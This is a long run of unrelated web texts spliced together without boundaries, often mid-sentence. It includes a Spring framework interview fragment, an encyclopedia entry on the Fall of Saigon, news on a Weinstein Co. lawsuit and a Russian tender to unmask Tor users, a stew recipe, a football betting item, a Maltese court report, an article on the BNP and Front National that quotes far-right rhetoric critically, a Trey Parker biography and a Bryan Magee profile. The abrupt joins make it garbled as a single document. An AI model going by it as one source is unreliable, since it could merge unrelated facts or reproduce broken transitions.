in standardization, but overall Spring really provides its own programming and configuration model that needs to live and breathe independently. So Spring really selectively adds standardized parts to its world, but itself, it shouldn’t actually be standardized in any form from my perspective. It should rather be a good citizen with all those standards that are around it and be a kind of glue together, a flexible glue between several standardized parts out there. And that’s what it actually is at the moment. That’s basically its positioning.The Fall of Saigon,[1][2] or the Liberation of Saigon, was the capture of Saigon, the capital of South Vietnam, by the People's Army of Vietnam (PAVN) and the National Liberation Front of South Vietnam (also known as the Việt Cộng) on 30 April 1975. The event marked the end of the Vietnam War and the start of a transition period to the formal reunification of Vietnam into the Socialist Republic of Vietnam.[3] The PAVN, under the command of General Văn Tiến Dũng, began their final attack on Saigon on April 29, 1975, with the Army of the Republic of Vietnam (ARVN) forces commanded by General Nguyễn Văn Toàn suffering a heavy artillery bombardment. This bombardment at the Tân Sơn Nhất Airport killed the last two American servicemen known to have died in combat in Vietnam, Charles McMahon and Darwin Judge.[4] By the afternoon of the next day, the PAVN had occupied the important points of the city and raised their flag over the South Vietnamese presidential palace. The city was renamed Hồ Chí Minh City, after the late North Vietnamese President Hồ Chí Minh. The capture of the city was preceded by Operation Frequent Wind, the evacuation of almost all the American civilian and military personnel in Saigon, along with tens of thousands of South Vietnamese civilians who had been associated with the southern regime.[5] The evacuation was the largest helicopter evacuation in history.[6] In addition to the flight of refugees, the end of the war and the institution of new rules by the communists contributed to a decline in the city's population.[7] Names [ edit ] Various names have been applied to these events. The Vietnamese government officially calls it the "Day of liberating the South for national reunification" (Vietnamese: Giải phóng miền Nam, thống nhất đất nước) or "Liberation Day" (Ngày Giải Phóng), but the term "Fall of Saigon" is commonly used in Western accounts. It is called the "Ngày mất nước" (Day we Lost the Country), "Tháng Tư Đen" (Black April),[8][9][10][11][12][13] "National Day of Shame" (Ngày Quốc Nhục) or "National Day of Resentment" (Ngày Quốc Hận).[9][14][15][16][17] by many Overseas Vietnamese who were refugees from communism. North Vietnamese advance [ edit ] Situation of South Vietnam before the capture of Saigon (lower right) on April 30, 1975 The rapidity with which the South Vietnamese position collapsed in 1975 was surprising to most American and South Vietnamese observers, and probably to the North Vietnamese and their allies as well. For instance, a memo prepared by the Central Intelligence Agency (CIA) and U.S. Army Intelligence and published on March 5 indicated that South Vietnam could hold out through the current dry season—i.e., at least until 1976.[18] These predictions proved to be grievously in error. Even as that memo was being released, General Dũng was preparing a major offensive in the Central Highlands of Vietnam, which began on 10 March and led to the capture of Buôn Ma Thuột. The ARVN began a disorderly and costly retreat, hoping to redeploy its forces and hold the southern part of South Vietnam, perhaps an enclave south of the 13th parallel.[19] Supported by artillery and armor, the PAVN continued to march towards Saigon, capturing the major cities of northern South Vietnam at the end of March—Huế on the 25th and Đà Nẵng on the 28th. Along the way, disorderly South Vietnamese retreats and
owes them at least $2 million due to the cancellation of their TV show in the wake of the Harvey Weinstein sexual assault scandal. The producers — the husband-and-wife team of Scott Lambert and Alexandra Milchan — were set to produce an untitled crime show from David O. Russell, starring Robert De Niro and Julianne Moore. The project would have been co-financed by Amazon and the Weinstein Co. Eight days after the Weinstein scandal broke, Amazon pulled the plug. Milchan and Lambert filed a lawsuit Monday in L.A. Superior Court, alleging they are owed at least $2 million in producer’s fees from the project. The suit alleges that the Weinstein Co. was a “ticking time bomb,” and that the company failed to protect itself and its business partners from the massive reputational damage attendant with Weinstein’s behavior. “Defendants had numerous warning signs that such a scandal was brewing,” the lawsuit states. “In the years before TWC entered into the Contract, TWC had received numerous complaints of sexual abuse and harassment engaged in by Weinstein. Those complaints, if investigated with reasonable diligence, would have disclosed that Weinstein was unfit for his position with TWC.” The suit seeks relief for negligence, breach of contract and fraud. The Weinstein Co. did not immediately respond to a request for comment. Weinstein has repeatedly denied any non-consensual sexual conduct. EMJAG v. Weinstein by gmaddaus on ScribdRussia’s Interior Ministry is offering $111k for a technological solution that would allow police officers to identify internet surfers who are using the TOR anonymizer network, which has been rapidly growing in popularity inside the country. The 3.9 million ruble (US$111,290) tender – whose winner will be announced on August 20 – was put on the official government procurement website and went unnoticed by the wider public for two weeks, until it was flagged by several human rights activists on Thursday. TOR – which anonymizes the identity of an online user by encrypting their data and sending their information through thousands of random pathways, making it harder to trace – can be used to conceal potentially illegal activity. But it can also be essential for avoiding monitoring or censorship from security services, in countries with restrictive legislation. “Law enforcers are worried about the ability of internet users to anonymously visit the internet, and particularly blocked sites. Also, thenew blogging lawthat comes into force in August says that all bloggers with a daily audience of over 3,000 must register their identity. But someone blogging through TOR can do so anonymously,” Sarkis Darbinyan, a lawyer for Russia’s Pirate Party, told BBC. While only a fraction of Russia’s 30 million households with internet access use an anonymizer, the number of TOR users has spiked from just 80,000 in May to nearly 200,000 this month, according to Apparat.cc online magazine – though it is unclear whether those results are muddied by automated accounts. Nonetheless, Russia’s security service mooted a plan to ban all anonymizers last year, though the idea was later shelved. Various technological solutions for unmasking TOR users have been applied by the NSA and other leading agencies, though most involve considerable time and expense, or rely on cracking less secure software used in conjunction with the anonymizer. A talk titled 'You don’t have to be the NSA to Break Tor: De-Anonymizing Users on a Budget,' which was to be presented at the reputable Black Hat hacker conference in August, was pulled without explanation earlier this week.This is a basic beef stew recipe from about.com that I found as I was searching for a new stew recipe to try out. It was good! It is definitely a basic, no frills recipe, which actually is kind of nice because then you can add whatever you would like to give it a more personalized flavor. The original recipe called for bacon bits, which I did not have on hand, but I’m sure would have added some good flavor to it. Print Basic Beef Stew Ingredients 1 to 1-1/2 lb. stew beef 4-5 medium potatoes, peeled and cubed 4 carrots, sliced 1 envelope dry onion soup mix 1 (6 oz.) can tomato paste 3-1/2 c. water 1/4 tsp. pepper 1/2 tsp. seasoning salt 1/4 tsp. dry mustard 1 T. Worcestershire sauce 1 T. bacon bits 3 T. brown sugar 1 to 1-1/2 c. frozen (or drained canned) peas Instructions Place the carrots, potatoes and beef in a crockpot. Place all remaining ingredients (except peas) into a medium saucepan and bring to a simmer over medium heat. Remove sauce from heat and pour over the meat and vegetables in the crockpot. Cover and cook on LOW for 12 hours (or HIGH for 6 hours), adding water if necessary. Add peas about 20-30 minutes before serving. Notes Stove Top Directions: Start by making your sauce in a large pot. Once that is ready, add your meat, potatoes and carrots. Cover and simmer until your meat is tender. (You can check at about an hour or so, but I would plan on it taking at least an hour and a half, if not longer.) Again, add your peas about 20 minutes before serving. Enjoy! 3.1 http://eggrollsandsauce.com/basic-beef-stew/BEVO BEAT Football What are the odds? According to Vegas, Shane Buechele is a Heisman hopeful Posted May 26th, 2017 Advertisement Being the quarterback at Texas has always come with a weight of expectation, and it’s no different for Shane Buechele in 2017. We’ve already seen how bullish some national media outlets are on coach Tom Herman turning the Longhorns around in year one, and apparently Las Vegas has also jumped on the hype train. According to sports book analyst Tommy Lorenzo, international betting service William Hill has Buechele at 60-to-1 odds to win the Heisman Trophy. Las Vegas William Hill sports books odds to win the 2017 Heisman trophy 🏆🏈 #ncaaf pic.twitter.com/FSmjBnwYUV Advertisement — Tommy Lorenzo (@sportsbooktom) May 25, 2017 That still leaves Buechele as a long shot, but one that could pay off. Buechele will have plenty of opportunities to prove himself against other Heisman hopefuls. Three of the top 10, including favorite Sam Darnold (7-to-2) of USC, are on Texas’ schedule. Oklahoma quarterback Baker Mayfield (17-to-2) and Oklahoma State’s Mason Rudolph (20-to-1) are the others who are ranked high. As a true freshman in 2016, Buechele completed 60.4 percent of his passes and threw for 2,958 yards and 21 touchdowns. He impressed throughout the spring, but Herman declined to name a starter after the Orange-White spring game in which Buechele threw for 369 yards. RELATED: Orange-White game caps spring full of psychological challenges Texas has also been in the market for a third scholarship quarterback to provide depth with Buechele and freshman Sam Ehlinger. That hasn’t stopped sports books from betting on Buechele. Is it too soon? Only time will tell. News on Bevo Beat is free and unlimited. Access to the rest of Hookem.com is included with an Austin American-Statesman subscription in addition to Statesman.com and the ePaper edition. Subscribe today at statesman.com/subscribe.A lawyer said in court today that he was "disturbed" by charges brought against a man who wrote to the President accusing a magistrate, an official from the Attorney General’s office and a police inspector, of corruption. Christian Demanuele, a company director from St Paul's Bay, pleaded not guilty of making the claims in a letter he sent to President Marie Louise Coleiro Preca in March. He is being charged with accusing people of committing a crime he knew had not taken place, making false claims about them, as well as vilifying and insulting them. But the man’s lawyer, Mark Busuttil, said he felt "disturbed" by the vilification charge. During the cross examination by Dr Busuttil, Police inspector Saviour Baldacchino, who is leading the prosecution, was asked several times whether it was a crime to pen a letter about concerns. Insp. Baldacchino insisted that while everyone had a right to write such a letter, the police investigated the contents of the letter, not the fact that Mr Demanuele had written it. He said that in the letter, Mr Demanuele had engaged in mudslinging, while the way the letter was written threw a bad light on all of the justice system - the police, magistrates and the AG. The issue at stake was the fact that Mr Demanuele had made serious allegations against a number of people in high authority but it later transpired that the allegations were false. It emerged in court that the Magistrate mentioned in the letter was Consuelo Scerri Herrera. One of the allegations made by Mr Demanuele was that the magistrate's caseload had been decreased as “she was not good". The inspector said the accused may have felt hurt after being denied bail in a separate case. He had started to suspect that there was some plot against him. This was why he wrote the letter. Mr Demanuele was arraigned in the original case after being brought to Malta under a European Arrest Warrant, with the the police accusing him of fleeing. However, Mr Demanuele said he he did not have any pending criminal cases when he left the island, and that the arrest warrant was issued a year after he left Malta. Mr Demanuele is on bail and the case is set to continue on November 2. Magistrate Doreen Clarke is presiding over the case.British National Party (BNP) leader Nick Griffin sought to take advantage of the disorder that broke out in England in August as fast as he could, saying: “We are on the verge of a very hot race war in this country.” On 11 August, when shops were boarded up and cells crowded, he said: “People like me have warned the political elite... that their great multicultural experiment was doomed to failure” (1). The first disturbance began on the Saturday after police shot Mark Duggan, 29, in Tottenham, north London. There followed two more days during which there was disorder in various parts of London and other cities. Those who knew the areas and watched the television footage recognised that the rioters were of every ethnicity, as were the police officers, the shopkeepers defending their property and those involved in the clean-up process. Yet Griffin insisted it was a racial problem: the black community was “desperately sick”; Muslims in the UK had a problem with drugs, he said, and groomed young white girls. The BNP saw in the riots a chance to re-present itself to a sceptical British public at a time when support has dropped sharply and the party is preoccupied with factional infighting and high-level defections. Two years ago it had seemed to make a political breakthrough: at the 2009 European elections, the party finally achieved a semblance of electoral respectability, returning its first two members to the European parliament and winning close to a million votes. Meanwhile in France, Griffin’s long-standing ally, the Front National (FN) leader Jean-Marie Le Pen, experienced a decline: the FN lost four of its seven MEPs and over half a million votes. Le Pen graciously congratulated his “friends in the BNP” and suggested a potential European nationalist alliance with the party. Griffin and Le Pen had been comrades for decades. They share experiences — physical attacks, accusations of Holocaust denial and convictions for race-hate crimes. Although the media, mainstream politicians and the majority of French and British people found their brand of aggressive nativism vulgar and dangerous, each managed to establish a solid support base and take votes from the traditional parties. Enter Marine Le Pen Since Le Pen was replaced by his daughter Marine earlier this year, the FN has increased its poll ratings, with Le Pen Jnr working hard to detoxify the party’s image. Given President Nicolas Sarkozy’s growing unpopularity, she considers herself a serious contender for France’s presidential elections next year. The changing fortunes of these far-right populists is remarkable. Is it because of differences in leadership style, the presentation of their anti-establishment credentials or shifts in political discourse around immigration and identity? In Britain, the 2009 European election was Nick Griffin’s greatest success as BNP leader. Griffin was very evident in the broadcast studios during the campaign, appealing to the public to elect “a whistleblower” on the improper activities of the political class. With the slogan “Punish the Pigs”, the party’s election video combined Europhobic outrage and anti-immigrant rhetoric with a sentimental yearning for a time when the UK was a “decent, fair and happy society”. “What’s it coming to,” the voiceover asked, “when you’re made to feel like an unwelcome foreigner in your own country?” (2). Anticipating a collapse in their traditional support base, the mainstream parties reacted to this audacious populism by stressing the threat from the BNP. Gordon Brown (then prime minister) was facing a leadership crisis and, after a scandal over MPs’ expenses, British public trust in politicians was at an all-time low. Endorsed by celebrities, sports stars and trade unionists, Brown lent his name to an anti-BNP campaign letter calling on the public to “join us in voting for a great Britain” (3). The Church of England directed the public not to vote for a party that encourages “division within communities, especially between people of different faiths or racial background” (4). This did not have the intended effect. Griffin was elected to represent North West England and proclaimed: “The waters of truth and justice and freedom are once again flowing over this country. It’s a great victory: we go on from here” (5). The victory was short-lived. The BNP failed to win a single seat at last year’s general election and are losing council seats across the country. The media, politicians and grassroots activists have shifted their gaze to the Islamophobic street movement, the English Defence League (EDL). After a recent and bitter leadership challenge that threatened to split the BNP, Griffin was re-elected by less than 10 votes. In Barnsley, South Yorkshire, Griffin told me he understood the BNP had a way to go if it was to have any meaningful influence in British political life. “The response on the doorstep is generally ‘Well everyone is voting for you’ And then most of them don’t. We’ve got an enormous amount of soft-popular sympathy but it only rarely translates solidly into votes.” Though some polls have indicated that a sanitised nationalist political party — non-violent, non-racist — may attract popular support, this does not seem to aid the BNP directly. Sarkozy steals FN ground In France, the situation is quite different. At FN headquarters in suburban Paris, Marine Le Pen told me her party were on their way to becoming more accepted. “Jean-Marie Le Pen and the Front National were demonised for many years. This demonisation led to a wall around them which prevented the French people from joining the FN. Thanks to changes at the head of the organisation these walls are beginning to crumble.” She explained why her party had spent years as political outsiders. There was a high point in 2002, when the FN rode a wave of popular antipathy against the French establishment to displace the Parti Socialiste in the presidential run-off. But in the 2007 election the FN dropped: “Le Pen, la fin,” proclaimed Libération (7 June 2007). A further poor showing in the 2008 municipal elections suggested that far-right populism in France was on the wane. In 2009 Jean-Marie Le Pen blamed the poor performance in the European elections on a media boycott, which he claimed shielded the public from hearing voices outside the self-interested political class. However the main reason may have been Sarkozy’s adoption of staple FN policies: the promotion of a French identity; national preference in work, welfare and public service access; hostility towards low-income immigration; special crime laws for foreign-born migrants. Voters sympathetic to the FN saw Sarkozy as a more viable vehicle for their politics. As Le Pen Jnr put it: “The only thing that weakened the Front National was Sarkozy’s strategy of presenting himself as a kind of double of the FN.” Sarkozy saw that “the French people were turning more and more towards the option of the Front National. He managed to harness the force of that river and divert it to his own advantage.” She laughed. “But now the river has returned to its own bed.” She understands her father’s failure to capture the political mood. “The FN addressed subjects that were completely taboo”: hostility towards all forms of immigration, the negative aspects of globalisation, which she says are only now being widely understood. “Sometimes arriving at a conclusion too early is another way of being wrong.” Personification of the past In Britain, soon after becoming an MEP, the BNP leader attracted media attention after he was pelted with eggs by anti-fascist activists shouting “Nick Griffin, Nazi scum”. He believes the “liberal media elite” does not want him to improve his standing. Though building bridges with the media would be “very, very valuable”, this is unlikely to happen. Griffin found it difficult to communicate the party’s message on television when, in October 2009, he was invited to make his first appearance on the BBC’s political panel show Question Time. His appearance pulled in over eight million viewers — the most watched episode in the programme’s 30-year history — and the event was tailored towards examining Griffin’s party. Front-bench politicians and audience members exchanged insults with the BNP chairman, castigating him for having a “fascist background” and “no moral compass”. People were horrified by his statements: he admitted links with former leader of the Ku Klux Klan, David Duke, and described gay men kissing as “really creepy”. As he failed to deflect accusations of Holocaust denial, many viewed him as the personification of the party’s past (6). Unlike Jean-Marie Le Pen, whose first major TV appearance on Antenne 2’s L’heure de Vérité in 1984 increased membership and cemented his place in French political life, Griffin’s poll ratings have declined and the media have stayed away: “Unless I strangle a kitten, I’m not going to get on television.” Griffin alleges that powerful forces in the media are denying his party the exposure it deserves. “This is not a conspiracy theory or anything anti-semitic, we’ve got Jewish councillors and Jewish members. The Zionist lobby has a lot of power in the media.” He added: “There is a very militant gay lobby within the media. They don’t like us. We just want to stop them teaching homosexuality to five-year-olds.” Despite Griffin’s explanations of why his party is not doing better, it is likely that he has not developed a narrative to engage potential supporters. In recent years the BNP has appeared opportunistic, clinging to any passing issue not fully exploited by the mainstream parties. The party was against the war in Afghanistan; in favour of improved environmental policies but against the great global warming “hoax”; in favour of the nationalisation of telecom services and the creation of local currencies. Griffin may have found a number of political positions that the party could take to entice new sympathisers, but has yet to develop the arguments for people to make the commitment. Isolationist escape route Marine Le Pen believes that she has found the language to attract new support to the Front National. The party often depicted as a mixture of white separatists, older rightwing Catholics and Vichy apologists has started to gain followers from more diverse parts of the electorate. First-time voters, middle-income workers and some second- and third-generation immigrants have been welcomed as Le Pen presents her party as a radical alternative to the discredited politics of the past. Does she care about building bridges with the mainstream and courting the media? “No, because it would be a step that was politically dishonest and completely opportunistic.” Even so she has found fame on television talk shows, and the French press publishes more features about her than any other opposition figure. She has successfully harnessed a negative populist narrative: she is against immigration, the EU and globalisation. She seems less willing than her father to demonise sections of the general public. She saves her ire for elite politicians and financiers, whom she feels are to blame for society’s woes — crime, unemployment and public service shortages. Le Pen brazenly offers disgruntled voters an escape route from economic stagnation and national decline. She promotes an isolationist programme, arguing that her party can make France economically self-sufficient, through restricting the flow of labour and building up the industrial base. She wraps all this in a language that makes anxious “French” people feel prioritised. “We don’t have the means any more, nor the national community, to subsidise the needs of foreigners who come to France while there are so many unemployed people.” Immigration, identity and Islam In France, the UK and most of western Europe, there has been a recent re-evaluation of the benefits of immigration. Leading political figures, social democrat and conservative, have initiated public debates on national identity and spoken out against multiculturalism, calling on the continent’s minorities to adhere to “European values”. In France, the government-led debate on “what it means to be French” and “what immigration contributes to our national identity” has pressured minorities to adapt to majority culture. On the orders of the president and his former immigration minister, Eric Besson, town hall meetings were held and plans discussed for immigrants to attain a strong command of French and all schools to fly the tricolour. “We must reaffirm the values of national identity and pride in being French,” Besson proclaimed, amid arguments that the ruling party were pandering to the far right (7). Did the FN spark this whole debate? “Yes of course, entirely,” Le Pen says bluntly. “We are at the centre of political life in France. Everybody has their own position in relation to us.” She has steered clear of making racially inflammatory remarks, unlike her father. Instead she invokes the republic when discussing the status of minority communities in France. “I think the state must remember that in France, it’s French laws and French principles and values which apply. Anyone who wants to live in contradiction to these laws, these principles, these values does not have a place in France.” An alarmist narrative is developing around the rights of the country’s Muslim population, Europe’s largest. In March the president announced another national debate, on Islam’s place in French society. He followed this by praising the country’s “Christian heritage” and made clear his distaste for visible signs of Islam in secular France — halal food, outside prayer and minarets (8). The change in legal status of the Islamic full-face veil (worn by only a few hundred women in France) dominated political discourse for months, supported by most parliamentarians. This added to Muslims’ beliefs that they were being singled out by the political establishment — marginalised by desperate politicians searching for votes. Le Pen refuses to be drawn into a debate about Islam’s compatibility with French society because she says: “In France we don’t make judgments on religion. I prefer to talk of fundamentalism; that’s to say sharia law.” This focus on “extremists” deflects accusations that the FN (and the ruling party) are seeking to stigmatise France’s Muslims en masse. Yet the wellbeing of the country’s Muslim communities has been absent from high-level discussion, even though these communities have high rates of deprivation, suffer increased discrimination in work, the criminal justice system and public services, and witnessed a rise in physical attacks. Le Pen does not attempt to explain these issues, as if she is afraid of disappointing her support base. British jobs for British workers Britain has been reconsidering the success of its ethnically diverse society. Ten years after the former foreign secretary Robin Cook made his “chicken tikka masala” speech, in which he declared that his country could “celebrate the enormous contribution of the many communities in Britain to strengthening our economy, to supporting our public services, and to enriching our culture and cuisine” (9), front-bench politicians have refined their positions on the benefits of immigration. This move has been influenced by the populist press binding any discussion of immigration to security issues and economic crises, despite their many and frequent anti-foreigner stories. Comments on immigrant crime levels and minority communities’ dependency on welfare payments have become intellectualised through a conservative backlash against political correctness. Nick Griffin takes responsibility for this change in political debate. He claims that both the Conservative and Labour parties are speaking in a language which was considered extremist in the past, and made him a pariah for three decades. The slogan “British Jobs for British Workers”, first uttered by Gordon Brown, was emblazoned on BNP literature and the party warned of a tsunami of foreign-born migrants flooding the country to seek work. During the general election campaign, Griffin suggested that immigration had led to parts of his constituency looking like “something out of Africa” (10) and claimed that African immigrants were paid up to £50,000 by the government to move nearby and ensure “safe Labour majorities in the future” (11). Griffin came a poor third and his personal percentage of the vote fell. The party failed even to get two-thirds of their supporters from the previous year’s EU election, and on a higher turnout. “There were crocodiles of African voters being led to each polling station with a Labour party activist or local election candidate standing inside the polling station, telling them how to vote,” he told me. Griffin is preoccupied with race. While far-right parties across Europe had already begun to attract support from growing numbers of second and third generation non-European migrants, the BNP only allowed non-white people to become party members last year. This was precipitated by the UK’s Equality and Human Rights Commission taking the party to court for breaching non-discrimination law. Why did they not change the policy earlier? Griffin offered a disturbing explanation. “If you were talking to a group of female victims of rape and gang sexual assault, and you said: ‘Why won’t you let men in? Do you hate men?’ The same is true of the party. It’s a refuge centre for people battered by the multi-racial experiment.” Rise of Europe’s far right Anti-immigrant and far-right populist parties have increased their influence across Europe: the Dutch and Austrian Freedom parties, the Danish and Swiss People’s parties, Italy’s Northern League, the Norwegian Progress Party and True Finns. All are in positions of influence, either as part of a governing coalition or as the most vocal opposition party in their national parliaments. A number of them have distanced themselves from the FN, still tainted by the name “Le Pen”. Domestically and abroad, many understand that although the commander has changed, the lower ranks still retain the ethnic nationalists and unashamed xenophobes. Now Marine Le Pen wants to strengthen the party and build alliances with natural partners across the continent. She is confident that she will not make the same mistakes that ensured her father was quarantined for his entire career. Nick Griffin insists that the British National Party is “part of the same thing” — a new nationalism sweeping the continent. In reality, his organisation is not achieving anywhere near the same level of political leverage and the mainstream seems content to ignore it; most people find his paranoid style of politics and crude language impossible to connect with. The future of the cross-Channel relationship is also in doubt. Marine Le Pen told me that she finds some of the BNP’s policies “repugnant” and prioritises her relationship with the “younger” United Kingdom Independence Party (the single-issue anti-EU party). Griffin believes the relationship between FN and his party “is pretty much as it’s always been. We admire what they do, they admire what we do.” When I tell him of Le Pen’s comments, he says: “Good luck to her. If it’s useful, convenient or sincere for her to say that she doesn’t like things that we do, it doesn’t bother me in the slightest.”Randolph Severn "Trey" Parker III (born October 19, 1969) is an American actor, animator, filmmaker, singer, voice artist, and songwriter. He is known for co-creating South Park (1997–present) along with his creative partner Matt Stone, as well as co-writing and co-directing the Tony Award-winning musical The Book of Mormon (2011). Parker was interested in film and music as a child, and attended the University of Colorado, Boulder following high school, where he met Stone. The two collaborated on various short films, and starred in a feature-length musical, titled Cannibal! The Musical (1993). Parker and Stone moved to Los Angeles and wrote their second film, Orgazmo (1997). Before the premiere of the film, South Park premiered on Comedy Central in August 1997. The duo, who possess full creative control of the show, have since produced music and video games based on the show, which continues to run. They worked on a feature film titled South Park: Bigger, Longer & Uncut (1999), which received acclaim from both critics and fans. Alongside Stone, he has also produced various feature films and television series, including Team America: World Police (2004). After several years of development, The Book of Mormon, a musical co-written by Parker, Stone, and composer Robert Lopez, premiered on Broadway and became immensely successful. In 2013, he and Stone established their own production studio, Important Studios. Parker has been the recipient of various awards over the course of his career, including five Primetime Emmy Awards for his work on South Park, as well as four Tony Awards and a Grammy Award for The Book of Mormon. Early life Parker was born in Conifer, Colorado, the son of insurance saleswoman Sharon and geologist Randolph "Randy" Parker.[1][2] He was a shy child who received "decent" grades and was involved in honors classes.[3] He idolized Monty Python, which he began watching on television in the third grade; his later ventures into animation would bear considerable influence from Terry Gilliam.[3] In the sixth grade, Parker wrote a sketch titled The Dentist and appeared in his school's talent show. He played the dentist and had a friend play the patient. The plot involved what can go wrong at the dentist; due to the amounts of fake blood involved, Parker's parents were called and were upset, with Parker later recalling that "the kindergartners were all crying and freaking out".[4] Parker has described himself as "the typical big-dream kid" who envisioned a career in film and music.[3] He made short films on the weekends with a group of friends, beginning when he was 14. His father had purchased him a video camera and the group continued making films until graduation.[3][5] He became interested in pursuing music at 17, but only comedy-centered songs; he wrote and recorded a full-length comedy album, Immature: A Collection of Love Ballads For The '80's Man, with friend David Goodman during this time.[3] As a teenager, Parker developed a love for musical theatre, and joined the Evergreen Players, a venerable mountain community theater outside of Denver. At 14, he performed his first role as chorus member in The Best Little Whorehouse in Texas and Flower Drum Song and went on to also design sets for the community theater's production of Little Shop of Horrors. In high school, he also played piano for the chorus and was president of the choir counsel.[6][7] As Evergreen was nationally known for its choir program, Parker was a very popular high school student, connected to his position as the head of the choir. He was typically the lead in school plays and was also prom king.[3] While in school, Parker had a part-time job at a Pizza Hut and was described as a film geek and music buff.[8] Following his graduation from high school in 1988, Parker spent a semester at Berklee College of Music before transferring to the University of Colorado at Boulder.[2] During his time there, he took a film class in which students were required to collaborate on projects.[3] In the course, he met Matt Stone — a math major from the nearby town of Littleton — and the two immediately bonded over provocative, anti-authoritarian humor and Monty Python.[2] Parker's first film was titled Giant Beavers of Southern Sri Lanka (1989), parodying Godzilla-style rampages with beavers; fellow student Jason McHugh later remarked that the idea nearly got him laughed out of class.[9][10] Parker and Stone wrote and acted in many short films together, among those First Date, Man on Mars and Job Application.[11] Parker later remarked that he and Stone would shoot a film nearly every week, but he has since lost most of them.[13] Parker first used a construction paper animation technique on American History (1992), a short film made for his college animation class. It became an unexpected sensation, resulting in Parker's first award — a Student Academy Award. Parker recalled sitting in the auditorium in front of students from animation schools such as CalArts, saying:[3] "And there are all these Cal Arts kids behind me who had submitted these beautiful watercolor and pencil things. And here's my shitty construction-paper thing-which makes South Park look like Disney, by the way, and they're all fuming."[3] Career Career beginnings Cannibal! The Musical (1992–94) In 1992, Parker, Stone, McHugh, and Ian Hardin founded a production company named the Avenging Conscience, named after the D.W. Griffith film by the same name, which was actively disliked by the group.[14] Parker again employed the cutout paper technique on Avenging Conscience's first production, Jesus vs. Frosty (1992), an animated short pitting the religious figure against Frosty the Snowman. The quartet created a three-minute trailer for a fictional film titled Alferd Packer: The Musical. The idea was based on an obsession Parker had with Alfred Packer, a real nineteenth-century prospector accused of cannibalism.[5] During this time, Parker had become engaged to long-time girlfriend Lianne Adamo, but their relationship fell apart shortly before production on the trailer had begun.[5] "Horribly depressed", Parker funneled his frustrations with her into the project, naming Packer's "beloved but disloyal" horse after her.[5][15] The trailer became somewhat of a sensation among students at the school, leading Virgil Grillo, the chairman and founder of the university's film department, to convince the quartet to expand it to a feature-length film.[15] Parker wrote the film's script, creating an Oklahoma!-style musical featuring ten original show tunes.[16] The group raised $125,000 from family and friends and began shooting the film. The film was shot on Loveland Pass as winter was ending, and the crew endured the freezing weather.[14][16] Parker — under the pseudonym Juan Schwartz — was the film's star, director and co-producer.[15] Alferd Packer: The Musical premiered in Boulder in October 1993; "they rented a limousine that circled to ferry every member of the cast and crew from the back side of the block to the red carpet at the theater's entrance."[16] The group submitted the film to the Sundance Film Festival, who did not respond. Parker told McHugh he had a "vision" they needed to be at the festival, which resulted in the group renting out a conference room in a nearby hotel and putting on their own screenings.[5] MTV did a short news segment on The Big Picture regarding the film,[14] and they made industry connections through the festival.[3][5] They intended to sell video rights to the film for $1 million and spend the remaining $900,000 to create another film.[3] The film was instead sold to Troma Entertainment in 1996 where it was retitled Cannibal! The Musical,[2] and upon the duo's later success, it became their biggest-selling title.[15] It has since been labeled a "cult classic" and adapted into a stage play by community theater groups and even high schools nationwide.[17] The Spirit of Christmas and Orgazmo (1995–97) We were sleeping on floors thinking, Wow, another two weeks and we're going to be fucking rich. And pretty soon two weeks turns into two months, and two months turns into two years, and you definitely stop listening. Parker on his early career[3] Following the film's success, the group, sans Hardin, moved to Los Angeles.[16] Upon arrival, they met a lawyer for the William Morris Agency who connected them with producer Scott Rudin. As a result, the duo acquired a lawyer, an agent, and a script deal.[3] Despite initially believing themselves to be on the verge of success, the duo struggled for several years. Stone slept on dirty laundry for upwards of a year because he could not afford to purchase a mattress.[3] They unsuccessfully pitched a children's program titled Time Warped to Fox Kids, which would have involved fictionalized stories of people in history.[2] The trio created two separate pilots, spaced a year apart, and despite the approval of development executive Pam Brady, the network disbanded the Fox Kids division.[16] David Zucker, who was a fan of Cannibal!, contacted the duo to produce a 15-minute short film for Seagram to show at a party for their acquisition of Universal Studios.[13] Due to a misunderstanding, Parker and Stone improvised much of the film an hour before it was shot, creating it as a spoof of 1950s instructional videos.[13] The result, Your Studio and You, features numerous celebrities, including Sylvester Stallone, Demi Moore, and Steven Spielberg. "You could probably make a feature film out of the experience of making that movie because it was just two dudes from college suddenly directing Steven Spielberg," Parker later remarked, noting that the experience was difficult for the two.[13] During the time between shooting the pilots for Time Warped, Parker penned the script for a film titled Orgazmo, which later entered production. Half of the budget for the picture came from a Japanese porn company called Kuki, who wanted to feature its performers in mainstream Western media.[16] Independent distributor October Films purchased the rights to the film for one million dollars after its screening at the Toronto International Film Festival.[16] The film received an NC-17 rating from the Motion Picture Association of America, which resulted in the poor box office performance of the film. Parker and Stone attempted to negotiate with the organization on what to delete
quite knew what to do. It was an awful sight," Cavendish says. Magee says though he was "ravaged" by his father's death, he still enjoyed his school career. "I was happy there, which might have been something to do with my relationship with my mother. I was happy as an evacuee too and I never suffered from homesickness." Academic work came easily but his real interests were music and politics. He had witnessed Mosley's blackshirts in action in Hoxton, where William Joyce, Lord Haw-Haw, had once come into his father's shop canvassing. "I'd got socialism like a religion and expounded it." Immediately after school, Magee volunteered for early national service, as much as anything because his mother's antipathy meant he didn't have anywhere else to go. He joined the intelligence corps and was sent to the Yugoslav-Austrian border where Yugoslav spies were among the refugees heading west. "By crossing the frontier they had all committed a crime and so were arrested," he explains. "We interrogated every single person to find out what was going on in Yugoslavia and also to decide whether they were okay or not. We never knew how many spies got through, but we do know that we caught an amazing number." Magee wrote a spy novel in 1960, To Live in Danger, which he says drew heavily on his experiences. The journalist Richard Sarson met Magee in the army. "We had this extraordinary life-and-death power over people considering we were so young," he says. "If we sent them back over the border they'd get shot." Sarson remembers Magee going to the opera at Graz and even then being a ruthless debater. "There was one man who was deeply upset and angry after hearing Bryan speak about why Christianity was a load of nonsense." After national service, in 1949, Magee went to Oxford, reluctantly, on a history scholarship. He asked, but was not allowed, to change to music. While he was there, however, he discovered his passion for philosophy. After completing his first degree he took a second one in PPE, in just one year, for which he was awarded a first. "I found Oxford a bit of a let-down," he says. "I'd been having a rather exciting time in the army and I sort of expected Oxford to be full of witty and brilliant people and when I got there I didn't think it was. But I got to love it for what it was." Friends there included Robin Day, Jeremy Thorpe and Michael Heseltine, and Magee became president of the Oxford Union. But he mixed with poets as well as politicians and in 1951 published a volume of verse through the Fortune Press, which didn't pay its writers and expected them to buy a certain number of copies. Dylan Thomas, Kingsley Amis and Philip Larkin were all first published under the same deal. "I'm rather ashamed of the poems now," says Magee, "although I have written poems since which I haven't published, which I secretly think are rather good. It has always been a dimension of what I do." The poet Alan Brownjohn recalls browsing in Blackwell's and coming across Magee's book. "I remember it was 